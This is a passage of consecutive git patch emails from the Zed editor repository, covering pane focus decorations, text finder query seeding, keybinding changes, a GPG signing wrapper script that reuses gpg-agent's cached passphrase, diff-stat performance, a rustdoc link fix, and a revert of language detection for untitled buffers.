+    #[cfg(any(test, feature = "test-support"))]
+    pub decorated_pane_ix: Option<usize>,
 }
 
 impl PaneGroup {
@@ -542,6 +544,8 @@ impl Member {
                     return PaneRenderResult {
                         element: div().into_any(),
                         contains_active_pane: false,
+                        #[cfg(any(test, feature = "test-support"))]
+                        decorated_pane_ix: None,
                     };
                 }
 
@@ -550,6 +554,8 @@ impl Member {
                         return PaneRenderResult {
                             element: div().into_any(),
                             contains_active_pane: false,
+                            #[cfg(any(test, feature = "test-support"))]
+                            decorated_pane_ix: None,
                         };
                     }
                     true
@@ -596,6 +602,8 @@ impl Member {
                         .child(pane)
                         .into_any(),
                     contains_active_pane: is_active,
+                    #[cfg(any(test, feature = "test-support"))]
+                    decorated_pane_ix: None,
                 }
             }
             Member::Axis(axis) => axis.render(basis + 1, zoomed, maximized, render_cx, window, cx),
@@ -997,7 +1005,7 @@ impl PaneAxis {
                     Member::Pane(pane) => {
                         is_leaf_pane[ix] = true;
                         if pane == render_cx.active_pane() {
-                            active_pane_ix = Some(ix);
+                            active_pane_ix = pane.read(cx).has_focus(window, cx).then_some(ix);
                             contains_active_pane = true;
                         }
                     }
@@ -1029,6 +1037,8 @@ impl PaneAxis {
         PaneRenderResult {
             element,
             contains_active_pane,
+            #[cfg(any(test, feature = "test-support"))]
+            decorated_pane_ix: active_pane_ix,
         }
     }
 }
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index ab9c1d0650800e..525a3d4d29b659 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -14140,6 +14140,89 @@ mod tests {
         })
     }
 
+    fn render_center_group(
+        workspace: &Workspace,
+        window: &mut Window,
+        cx: &mut App,
+    ) -> pane_group::PaneRenderResult {
+        workspace.center.root.render(
+            0,
+            None,
+            None,
+            &PaneRenderContext {
+                follower_states: &workspace.follower_states,
+                active_call: workspace.active_call(),
+                active_pane: &workspace.active_pane,
+                app_state: &workspace.app_state,
+                project: &workspace.project,
+                workspace: &workspace.weak_self,
+            },
+            window,
+            cx,
+        )
+    }
+
+    #[gpui::test]
+    async fn test_active_pane_decorations_follow_window_focus(cx: &mut gpui::TestAppContext) {
+        init_test(cx);
+        let fs = FakeFs::new(cx.executor());
+        let project = Project::test(fs, None, cx).await;
+        let (workspace, cx) =
+            cx.add_window_view(|window, cx| Workspace::test_new(project, window, cx));
+
+        // Decorations are only painted for splits, so a second pane is needed.
+        add_an_item_to_active_pane(cx, &workspace, 1);
+        let second_pane = split_pane(cx, &workspace);
+        add_an_item_to_active_pane(cx, &workspace, 2);
+
+        let panel = workspace.update_in(cx, |workspace, window, cx| {
+            let panel = cx.new(|cx| TestPanel::new(DockPosition::Left, 0, cx));
+            workspace.add_panel(panel.clone(), window, cx);
+            panel
+        });
+        cx.run_until_parked();
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            assert_eq!(workspace.active_pane(), &second_pane);
+            let result = render_center_group(workspace, window, cx);
+            assert!(result.contains_active_pane);
+            assert_eq!(
+                result.decorated_pane_ix,
+                Some(1),
+                "the active pane should be decorated while it has focus"
+            );
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            workspace.toggle_panel_focus::<TestPanel>(window, cx);
+        });
+        cx.run_until_parked();
+        workspace.update_in(cx, |_, window, cx| {
+            assert!(panel.focus_handle(cx).is_focused(window));
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            assert_eq!(workspace.active_pane(), &second_pane);
+            let result = render_center_group(workspace, window, cx);
+            assert!(result.contains_active_pane);
+            assert_eq!(
+                result.decorated_pane_ix, None,
+                "an unfocused group should not decorate its active pane"
+            );
+        });
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            let focus_handle = workspace.active_pane().read(cx).focus_handle(cx);
+            window.focus(&focus_handle, cx);
+        });
+        cx.run_until_parked();
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            let result = render_center_group(workspace, window, cx);
+            assert_eq!(result.decorated_pane_ix, Some(1));
+        });
+    }
+
     #[gpui::test]
     async fn test_join_all_panes(cx: &mut gpui::TestAppContext) {
         init_test(cx);

From e8edc63761f4181093c37f0ba3604212bb49d69f Mon Sep 17 00:00:00 2001
From: ozacod <47009516+ozacod@users.noreply.github.com>
Date: Mon, 20 Jul 2026 18:17:44 +0300
Subject: [PATCH 566/772] text_finder: Seed query from focused item selection,
 including terminal (#60351)

## Summary
Seed the text_finder's query from the focused pane's item instead of
only the active center editor. Selecting text in the terminal or
markdown_preview and opening text_finder now seeds that selection; the
item next to focus wins when both it and a center editor have
selections. If the focused item has no selection, the center item is
tried, then the last persisted search as before.

## Test plan
- Select a word in the terminal, open Text Finder, confirm it's
pre-filled and searching
- With a selection in both terminal and editor, confirm the focused one
wins
- Focus the terminal without a selection, confirm an editor selection
still seeds
- No selection anywhere, confirm the last search is restored
- Confirm a selection in a markdown preview seeds too

Release Notes:

- Improved the Text Finder to seed its query from the focused item's
selection, including the terminal

---------

Co-authored-by: ozacod <ozacod@users.noreply.github.com>
---
 crates/search/src/text_finder.rs | 51 ++++++++++++++++++++++----------
 1 file changed, 36 insertions(+), 15 deletions(-)

diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index 86f4a79f75978f..d3c3e7b8ba66c2 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -5,7 +5,6 @@ use db::{
     sqlez::{domain::Domain, thread_safe_connection::ThreadSafeConnection},
     sqlez_macros::sql,
 };
-use editor::Editor;
 use gpui::{
     App, AppContext, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
     Modifiers, Subscription, Task, WeakEntity, actions,
@@ -17,10 +16,7 @@ use project::ProjectPath;
 use settings::SeedQuerySetting;
 use text::Anchor;
 use ui::Window;
-use workspace::{
-    DismissDecision, ModalView, Workspace, WorkspaceDb, WorkspaceId,
-    searchable::SearchableItemHandle,
-};
+use workspace::{DismissDecision, ItemHandle, ModalView, Workspace, WorkspaceDb, WorkspaceId};
 
 mod delegate;
 mod render;
@@ -331,19 +327,45 @@ impl TextFinder {
         Some(SearchSeed { query, options })
     }
 
-    /// The query to seed from the active item, if any.
+    /// The query to seed from the focused or active item, if any.
     ///
-    /// Only an explicit selection seeds from the editor; the bare word under the cursor is
+    /// The focused pane's item is consulted before the active center pane's, so invoking the
+    /// finder from a dock (e.g. with a selection in the terminal) seeds from that item even when
+    /// an editor with its own selection is active in the center — the selection the user made
+    /// last is the one next to the focus. When the focused item has nothing to offer (say, a
+    /// focused terminal without a selection), the center item is tried so an editor selection
+    /// still seeds.
+    fn active_item_query(
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) -> Option<String> {
+        let focused_item = workspace.focused_pane(window, cx).read(cx).active_item();
+        let active_item = workspace
+            .active_item(cx)
+            .filter(|active| match &focused_item {
+                Some(focused) => focused.item_id() != active.item_id(),
+                None => true,
+            });
+
+        focused_item
+            .into_iter()
+            .chain(active_item)
+            .find_map(|item| Self::item_query(workspace, item.as_ref(), window, cx))
+    }
+
+    /// The query to seed from one item, if any.
+    ///
+    /// Only an explicit selection seeds from the item; the bare word under the cursor is
     /// ignored. Confirming a match jumps to (and places the cursor on) it, so seeding from the
     /// cursor on reopen would clobber the search you were in the middle of, whereas a deliberate
     /// selection (e.g. a double-click) is a clear signal to search for that text.
-    fn active_item_query(
+    fn item_query(
         workspace: &mut Workspace,
+        item: &dyn ItemHandle,
         window: &mut Window,
         cx: &mut Context<Workspace>,
     ) -> Option<String> {
-        let item = workspace.active_item(cx)?;
-
         if let Some(project_search) = item.downcast::<ProjectSearchView>() {
             let query = project_search.read(cx).search_query_text(cx);
             if !query.is_empty() {
@@ -351,14 +373,13 @@ impl TextFinder {
             }
         }
 
-        if let Some(query) =
-            crate::project_search::buffer_search_query(workspace, item.as_ref(), cx)
-        {
+        if let Some(query) = crate::project_search::buffer_search_query(workspace, item, cx) {
             return Some(query);
         }
 
-        if let Some(editor) = item.act_as::<Editor>(cx) {
-            let query = editor.query_suggestion(Some(SeedQuerySetting::Selection), window, cx);
+        if let Some(searchable_item) = item.to_searchable_item_handle(cx) {
+            let query =
+                searchable_item.query_suggestion(Some(SeedQuerySetting::Selection), window, cx);
             if !query.is_empty() {
                 return Some(query);
             }

From ea77ca2818f3e059a2b61ecc7e63b67e01e1cec5 Mon Sep 17 00:00:00 2001
From: Pavel Druzhinin <34269347+paveldroo@users.noreply.github.com>
Date: Mon, 20 Jul 2026 18:20:16 +0300
Subject: [PATCH 567/772] Fix keybindings conflict for Project Search filters
 and Text Findex (#60677)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective
Fixes #60540

## Solution

I suggest to focus on new feature keybindings support `Text Finder`
instead of supporting old `DeployReplace`:
1. Add `cmd+opt+f` bind for `Text Finder` in `Editor` and `BufferSearch`
to all platforms (now it's not there)
2. Remove `cmd+opt+f` bind for `buffer_search::DeployReplace` from
`Editor` and `BufferSearch` on macOS.
3. Add breaking changes `buffer_search::DeployReplace` has no keybind
anymore on macOS.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Click to view showcase</summary>

Uploading github.mov…



</details>

---

Release Notes:

- `Text Search` now opens from almost all contexts (added `Editor`,
`BufferSearch`)
- Breaking changes: Dropped support for toggle filters hotkey in
`BufferSearch` in macOS instead of supporting new `Text Search` feature
with `cmd+alt+f`
---
 assets/keymaps/default-linux.json   | 2 ++
 assets/keymaps/default-macos.json   | 5 ++---
 assets/keymaps/default-windows.json | 2 ++
 3 files changed, 6 insertions(+), 3 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 834568fbe571c1..5b0476282f8ac4 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -146,6 +146,7 @@
       "ctrl-shift-backspace": "editor::GoToPreviousChange",
       "ctrl-shift-alt-backspace": "editor::GoToNextChange",
       "alt-enter": "editor::OpenSelectionsInMultibuffer",
+      "ctrl-alt-f": "text_finder::Toggle",
     },
   },
   {
@@ -413,6 +414,7 @@
       "ctrl-f": "search::FocusSearch",
       "ctrl-h": "search::ToggleReplace",
       "ctrl-l": "search::ToggleSelection",
+      "ctrl-alt-f": "text_finder::Toggle",
     },
   },
   {
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 639ab247eeb951..b44a32c0860bb0 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -163,12 +163,12 @@
       "cmd-shift-enter": "editor::NewlineAbove",
       "cmd-k z": "editor::ToggleSoftWrap",
       "cmd-f": "buffer_search::Deploy",
-      "cmd-alt-f": "buffer_search::DeployReplace",
       "cmd-alt-l": ["buffer_search::Deploy", { "selection_search_enabled": true }],
       "cmd-e": "buffer_search::UseSelectionForFind",
       "cmd->": "agent::AddSelectionToThread",
       "cmd-alt-e": "editor::SelectEnclosingSymbol",
       "alt-enter": "editor::OpenSelectionsInMultibuffer",
+      "alt-cmd-f": "text_finder::Toggle",
     },
   },
   {
@@ -452,9 +452,9 @@
       "cmd-shift-enter": "editor::ToggleFoldAll",
       "alt-enter": "search::SelectAllMatches",
       "cmd-f": "search::FocusSearch",
-      "cmd-alt-f": "search::ToggleReplace",
       "cmd-alt-l": "search::ToggleSelection",
       "cmd-shift-o": "outline::Toggle",
+      "alt-cmd-f": "text_finder::Toggle",
     },
   },
   {
@@ -561,7 +561,6 @@
       "alt-enter": "search::SelectAllMatches",
       "alt-cmd-c": "search::ToggleCaseSensitive",
       "alt-cmd-w": "search::ToggleWholeWord",
-      "alt-cmd-f": "project_search::ToggleFilters",
       "alt-cmd-x": "search::ToggleRegex",
       "cmd-k shift-enter": "pane::TogglePinTab",
     },
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index 7f3168380193f5..c2723cf39652f4 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -142,6 +142,7 @@
       "ctrl-shift-backspace": "editor::GoToPreviousChange",
       "ctrl-shift-alt-backspace": "editor::GoToNextChange",
       "alt-enter": "editor::OpenSelectionsInMultibuffer",
+      "ctrl-alt-f": "text_finder::Toggle",
     },
   },
   {
@@ -416,6 +417,7 @@
       "ctrl-f": "search::FocusSearch",
       "ctrl-h": "search::ToggleReplace",
       "ctrl-l": "search::ToggleSelection",
+      "ctrl-alt-f": "text_finder::Toggle",
     },
   },
   {

From 7fe1c144d619e3fdbad64625189d293bbdb1a42a Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Mon, 20 Jul 2026 11:42:10 -0400
Subject: [PATCH 568/772] cloud_api_client: Make `cloud_host` method public
 (#61345)

This PR makes the `cloud_host` method on `CloudApiClient` public.

Release Notes:

- N/A
---
 crates/cloud_api_client/src/cloud_api_client.rs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/cloud_api_client/src/cloud_api_client.rs b/crates/cloud_api_client/src/cloud_api_client.rs
index aab5f3b60da731..d9e584e313155b 100644
--- a/crates/cloud_api_client/src/cloud_api_client.rs
+++ b/crates/cloud_api_client/src/cloud_api_client.rs
@@ -87,7 +87,7 @@ impl CloudApiClient {
         *self.credentials.write() = None;
     }
 
-    fn cloud_host(&self) -> String {
+    pub fn cloud_host(&self) -> String {
         self.http_client
             .build_zed_cloud_url("/")
             .ok()

From b67d15f84c54ca57422f8452c477656b38469901 Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Mon, 20 Jul 2026 18:14:26 +0200
Subject: [PATCH 569/772] git: Only prompt for GPG passphrase when gpg-agent
 cannot supply it (#61265)

Closes #61141
Follow-up https://github.com/zed-industries/zed/pull/58791

# Objective

Currently after https://github.com/zed-industries/zed/pull/58791 landed,
we now always ask for the gpg passphrase on every commit which is not
ideal, since some people have a bigger **ttl** configured so they don't
have/want to re-enter their passphrase everytime on every commit. So we
should cache the signature so the user does not have to re-enter their
passphrase everytime, which also fixes the case for unprotected keys
which obviously don't have a passphrase. So we pre-check if we can sign
the commit if so we should not ask for the passphrase at all.

## Solution

The solution was also suggested inside this
https://github.com/zed-industries/zed/issues/61141 issue, to first check
if the signature was cached, if that is is the case use that to sign the
commit. If that fails we should fallback to the loopback mode and Zed
should prompt for your passphrase once and your signature should be
cached again.

## Testing

**The basic setup for gpg signing**:

1. Create a key `gpg --full-generate-key`
2. Run `git config --global user.signingkey <KEY ID>`
3. Run `git config --global commit.gpgsign true`
4. Run & copy result from `gpg --armor --export <KEY ID>` and submit
your public key to github https://github.com/settings/gpg/new

**Testing the new flow were the signature is cached**:

5. Run `gpgconf --reload gpg-agent` to reset cached signature
6. Make a change and try committing
7. See that it promts for your passphrase
8. enter passphrase
9. Make a change and try committing
10. Notice it does not re-promts for your passphrase

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

**Before** (**Note** before you were prompted everytime when you commit)


https://github.com/user-attachments/assets/0a967bb1-5eff-4224-9e9a-995e411f8d3a

**After** (**Note** you are only prompted once and using the keychain
after instead)


https://github.com/user-attachments/assets/5eee6afb-5972-44d8-afdd-6416a189db32

---

**Note**: I used AI as an assistance to write this PR.

Release Notes:

- Git: Fixed the GPG signing passphrase prompt appearing on every commit
even when gpg-agent had the passphrase cached or the key was
unprotected.
---
 crates/askpass/src/askpass.rs | 42 +++++++++++++++++++++++++++--------
 1 file changed, 33 insertions(+), 9 deletions(-)

diff --git a/crates/askpass/src/askpass.rs b/crates/askpass/src/askpass.rs
index af5d0d31adfd9d..8092e36f3fa5f5 100644
--- a/crates/askpass/src/askpass.rs
+++ b/crates/askpass/src/askpass.rs
@@ -504,11 +504,17 @@ fn generate_gpg_wrapper_script(
         .try_quote_prefix_aware("Enter passphrase for your Git signing key:")
         .context("Failed to shell-escape gpg passphrase prompt")?;
 
-    // The wrapper inspects gpg's arguments and only prompts for a passphrase when
-    // git asks it to *sign* (e.g. `gpg -bsau <key>`). Other invocations such as
-    // signature verification (`--verify`) run gpg unchanged so we never pop a
-    // spurious modal. When signing, we feed the passphrase to gpg on fd 3 via
-    // `--passphrase-fd 3` in loopback mode, so no pinentry/terminal is required.
+    // The wrapper only intervenes when git asks gpg to *sign* (e.g. `gpg -bsau
+    // <key>`); other invocations like `--verify` run unchanged. For signing we
+    // first try plain gpg so gpg-agent/keychain can supply a cached or empty
+    // passphrase silently, and only fall back to asking Zed (loopback mode, fd
+    // 3) when that fails, e.g. the "Inappropriate ioctl for device" case with no
+    // TTY for pinentry.
+    //
+    // git streams the payload on stdin (readable once) and reads the signature
+    // from stdout, so we buffer stdin to replay it into both attempts and buffer
+    // the first attempt's output, forwarding it only if it succeeds. The
+    // passphrase goes to fd 3 via a pipe.
     Ok(format!(
         r#"#!/bin/sh
 for arg in "$@"; do
@@ -527,11 +533,29 @@ if [ -z "${{is_signing}}" ]; then
     exec {gpg_program} "$@"
 fi
 
-# Signing: ask Zed for the passphrase, then hand it to gpg on fd 3.
+# Signing. Buffer stdin (the payload) and the first attempt's output
+# so we can retry cleanly on failure without git seeing partial output.
+tmpdir=$(mktemp -d) || exit 1
+trap 'rm -rf "$tmpdir"' EXIT
+payload="$tmpdir/payload"
+signature="$tmpdir/signature"
+status="$tmpdir/status"
+cat > "$payload" || exit 1
+
+# First try letting gpg-agent/keychain supply the passphrase without any
+# interactive pinentry. If that succeeds (cached passphrase)
+# forward its output and we're done, so Zed never shows a modal.
+if {gpg_program} --pinentry-mode error "$@" < "$payload" > "$signature" 2> "$status"; then
+    cat "$status" >&2
+    cat "$signature"
+    exit 0
+fi
+
+# The silent attempt failed: ask Zed for the passphrase, then hand it to gpg on
+# fd 3 using loopback mode so no pinentry/terminal is required.
 passphrase=$(printf '%s\0' {prompt} | {askpass_program} --askpass={askpass_socket} 2>/dev/null)
-exec {gpg_program} --pinentry-mode loopback --passphrase-fd 3 "$@" 3<<EOF
-${{passphrase}}
-EOF
+printf '%s\n' "$passphrase" |
+{gpg_program} --pinentry-mode loopback --passphrase-fd 3 "$@" 3<&0 < "$payload"
 "#,
     ))
 }

From ccae8950debc3fb7645dd5e3896a1ce14262b735 Mon Sep 17 00:00:00 2001
From: Cole Miller <cole@zed.dev>
Date: Mon, 20 Jul 2026 12:17:02 -0400
Subject: [PATCH 570/772] Use diff summary for action log stats instead of
 iterating hunks (#61272)

The diff already has a constant-time accessor to get the counts of
added/removed rows, use that instead of iterating hunks on the
foreground.

Release Notes:
- Improved performance in agent threads with many file changes.
---
 crates/action_log/src/action_log.rs           | 25 ++++++-------------
 .../src/conversation_view/thread_view.rs      |  2 +-
 crates/buffer_diff/src/buffer_diff.rs         |  6 +++++
 3 files changed, 14 insertions(+), 19 deletions(-)

diff --git a/crates/action_log/src/action_log.rs b/crates/action_log/src/action_log.rs
index 60bc58701a76ce..6e2de669dedfc9 100644
--- a/crates/action_log/src/action_log.rs
+++ b/crates/action_log/src/action_log.rs
@@ -1047,23 +1047,12 @@ pub struct DiffStats {
 }
 
 impl DiffStats {
-    pub fn single_file(buffer: &Buffer, diff: &BufferDiff, cx: &App) -> Self {
-        let mut stats = DiffStats::default();
-        let diff_snapshot = diff.snapshot(cx);
-        let buffer_snapshot = buffer.snapshot();
-        let base_text = diff_snapshot.base_text();
-
-        for hunk in diff_snapshot.hunks(&buffer_snapshot) {
-            let added_rows = hunk.range.end.row.saturating_sub(hunk.range.start.row);
-            stats.lines_added += added_rows;
-
-            let base_start = hunk.diff_base_byte_range.start.to_point(base_text).row;
-            let base_end = hunk.diff_base_byte_range.end.to_point(base_text).row;
-            let removed_rows = base_end.saturating_sub(base_start);
-            stats.lines_removed += removed_rows;
+    pub fn single_file(diff: &BufferDiff) -> Self {
+        let (lines_added, lines_removed) = diff.changed_row_counts();
+        DiffStats {
+            lines_added,
+            lines_removed,
         }
-
-        stats
     }
 
     pub fn all_files(
@@ -1071,8 +1060,8 @@ impl DiffStats {
         cx: &App,
     ) -> Self {
         let mut total = DiffStats::default();
-        for (buffer, diff) in changed_buffers {
-            let stats = DiffStats::single_file(buffer.read(cx), diff.read(cx), cx);
+        for (_, diff) in changed_buffers {
+            let stats = DiffStats::single_file(diff.read(cx));
             total.lines_added += stats.lines_added;
             total.lines_removed += stats.lines_removed;
         }
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 35b7145a1bb37a..2cface95216808 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -3215,7 +3215,7 @@ impl ThreadView {
                                     .size(IconSize::Small)
                             });
 
-                        let file_stats = DiffStats::single_file(buffer.read(cx), diff.read(cx), cx);
+                        let file_stats = DiffStats::single_file(diff.read(cx));
 
                         let buttons = self.render_edited_files_buttons(
                             index,
diff --git a/crates/buffer_diff/src/buffer_diff.rs b/crates/buffer_diff/src/buffer_diff.rs
index dad94c4b01c1ea..b73c64ff61eacc 100644
--- a/crates/buffer_diff/src/buffer_diff.rs
+++ b/crates/buffer_diff/src/buffer_diff.rs
@@ -2122,6 +2122,12 @@ impl BufferDiff {
             .is_some_and(|diff_snapshot| diff_snapshot.base_text_exists)
     }
 
+    pub fn changed_row_counts(&self) -> (u32, u32) {
+        self.diff_snapshot
+            .as_ref()
+            .map_or((0, 0), |diff_snapshot| diff_snapshot.changed_row_counts())
+    }
+
     pub fn snapshot(&self, cx: &App) -> BufferDiffSnapshot {
         let mut snapshot = self.diff_snapshot.clone().unwrap_or_else(|| {
             let base_text = self.base_text_buffer.read(cx).snapshot();

From 407924d5a6c210fcbc2ee98697a5fe1909401ff8 Mon Sep 17 00:00:00 2001
From: Hector Alfaro <hector@hectorsector.com>
Date: Mon, 20 Jul 2026 12:36:51 -0400
Subject: [PATCH 571/772] settings: Fix broken rustdoc intra-doc link in
 `Settings::PRESERVED_KEYS` (#61347)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Objective

The doc comment links for `Settings::PRESERVED_KEYS` point to
`[FileContent](Self::FileContent)` but that associated type was removed
by the settings refactor in
https://github.com/zed-industries/zed/pull/38367.
`Settings::from_settings` now takes `&SettingsContent` directly. The
dead link causes `rustdoc::broken_intra_doc_links` warnings when
building docs for the `settings` crate:

```
warning: unresolved link to `Self::FileContent`
  --> crates/settings/src/settings_store.rs:61:53
    |
61 |     /// The name of the keys in the [`FileContent`](Self::FileContent) that should
    |                                                     ^^^^^^^^^^^^^^^^^ the trait `Settings` has no associated item named `FileContent`
```

Fixes #57310

## Solution

Replaced both `[FileContent](Self::FileContent)` occurrences in
`crates/settings/src/settings_store.rs` with `[SettingsContent]`, which
is already in scope via the existing `use` at the top of the file and
resolves correctly. Docs-only change, no runtime behavior change.

## Testing

- Verified with `cargo doc -p settings --no-deps`, which now completes
without any `broken_intra_doc_links` warnings (previously emitted two).
- No runtime code touched — doc comments only, so no other testing
applies.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/settings/src/settings_store.rs | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/crates/settings/src/settings_store.rs b/crates/settings/src/settings_store.rs
index 8d78a50ddd0bd0..26c73bb77f68e2 100644
--- a/crates/settings/src/settings_store.rs
+++ b/crates/settings/src/settings_store.rs
@@ -58,11 +58,11 @@ pub trait SettingsKey: 'static + Send + Sync {
 ///
 /// Settings can be loaded from a combination of multiple JSON files.
 pub trait Settings: 'static + Send + Sync + Sized {
-    /// The name of the keys in the [`FileContent`](Self::FileContent) that should
+    /// The name of the keys in the [`SettingsContent`] that should
     /// always be written to a settings file, even if their value matches the default
     /// value.
     ///
-    /// This is useful for tagged [`FileContent`](Self::FileContent)s where the tag
+    /// This is useful for tagged [`SettingsContent`]s where the tag
     /// is a "version" field that should always be persisted, even if the current
     /// user settings match the current version of the settings.
     const PRESERVED_KEYS: Option<&'static [&'static str]> = None;

From 5c215b36130799f23715e66b31b253a0b294a5b6 Mon Sep 17 00:00:00 2001
From: Chris Biscardi <chris@christopherbiscardi.com>
Date: Mon, 20 Jul 2026 09:43:55 -0700
Subject: [PATCH 572/772] Revert "editor: Add language detection for untitled
 buffers (#61201)" (#61351)

This reverts commit 690c7fac64a4ed013ad92d8794333a6548858e2f.

# Objective

language detection is firing very often in channel notes, often picking
YAML instead of markdown, causing some language-detection flickering.

cc/ @amtoaer (author of the original PR)
---
 Cargo.lock                                    | 25 ------
 Cargo.toml                                    |  3 -
 crates/editor/Cargo.toml                      |  1 -
 crates/editor/src/editor.rs                   | 48 +-----------
 crates/editor/src/editor_tests.rs             | 77 +------------------
 crates/language_detection/Cargo.toml          | 17 ----
 crates/language_detection/LICENSE-GPL         |  1 -
 .../src/language_detection.rs                 | 58 --------------
 8 files changed, 3 insertions(+), 227 deletions(-)
 delete mode 100644 crates/language_detection/Cargo.toml
 delete mode 120000 crates/language_detection/LICENSE-GPL
 delete mode 100644 crates/language_detection/src/language_detection.rs

diff --git a/Cargo.lock b/Cargo.lock
index a4528af7cea57e..b6b9350434d17c 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -2176,15 +2176,6 @@ dependencies = [
  "zed_actions",
 ]
 
-[[package]]
-name = "betlang"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c9a5811a1a59386e19785588e5bb2384b7d543b4870acedd1c7a1cb177b13b7d"
-dependencies = [
- "fearless_simd",
-]
-
 [[package]]
 name = "bigdecimal"
 version = "0.4.8"
@@ -5773,7 +5764,6 @@ dependencies = [
  "indoc",
  "itertools 0.14.0",
  "language",
- "language_detection",
  "languages",
  "linkify",
  "log",
@@ -6563,12 +6553,6 @@ dependencies = [
  "simd-adler32",
 ]
 
-[[package]]
-name = "fearless_simd"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b97b65636e5b9ef369943878ac74335ba1c55c1cb6adbf1e2c293c624248d693"
-
 [[package]]
 name = "feature_flags"
 version = "0.1.0"
@@ -9785,15 +9769,6 @@ dependencies = [
  "tree-sitter",
 ]
 
-[[package]]
-name = "language_detection"
-version = "0.1.0"
-dependencies = [
- "betlang",
- "gpui",
- "language",
-]
-
 [[package]]
 name = "language_extension"
 version = "0.1.0"
diff --git a/Cargo.toml b/Cargo.toml
index 89dd8132284c4f..9d0b9da1826ef6 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -114,7 +114,6 @@ members = [
     "crates/keymap_editor",
     "crates/language",
     "crates/language_core",
-    "crates/language_detection",
     "crates/language_extension",
     "crates/language_model",
     "crates/language_model_core",
@@ -377,7 +376,6 @@ json_schema_store = { path = "crates/json_schema_store" }
 keymap_editor = { path = "crates/keymap_editor" }
 language = { path = "crates/language" }
 language_core = { path = "crates/language_core" }
-language_detection = { path = "crates/language_detection" }
 language_extension = { path = "crates/language_extension" }
 language_model = { path = "crates/language_model" }
 language_model_core = { path = "crates/language_model_core" }
@@ -556,7 +554,6 @@ aws-smithy-runtime-api = { version = "1.9.2", features = ["http-1x", "client"] }
 aws-smithy-types = { version = "1.3.4", features = ["http-body-1-x"] }
 backtrace = "0.3"
 base64 = "0.22"
-betlang = "0.1.0"
 bitflags = "2.6.0"
 block2 = "0.6"
 brotli = "8.0.2"
diff --git a/crates/editor/Cargo.toml b/crates/editor/Cargo.toml
index 2f884ae0426fc1..b6df4a370fc87a 100644
--- a/crates/editor/Cargo.toml
+++ b/crates/editor/Cargo.toml
@@ -56,7 +56,6 @@ indoc.workspace = true
 edit_prediction_types.workspace = true
 itertools.workspace = true
 language.workspace = true
-language_detection.workspace = true
 linkify.workspace = true
 log.workspace = true
 lsp.workspace = true
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 4f73d8fec9d876..635521b46022ed 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -190,7 +190,6 @@ use language::{
     },
     point_from_lsp, point_to_lsp, text_diff_with_options,
 };
-use language_detection::detect_language;
 use linked_editing_ranges::refresh_linked_ranges;
 use lsp::{
     CodeActionKind, CompletionItemKind, CompletionTriggerKind, InsertTextFormat, InsertTextMode,
@@ -297,8 +296,6 @@ const CURSOR_BLINK_INTERVAL: Duration = Duration::from_millis(500);
 const MAX_LINE_LEN: usize = 1024;
 const MIN_NAVIGATION_HISTORY_ROW_DELTA: i64 = 10;
 const MAX_SELECTION_HISTORY_LEN: usize = 1024;
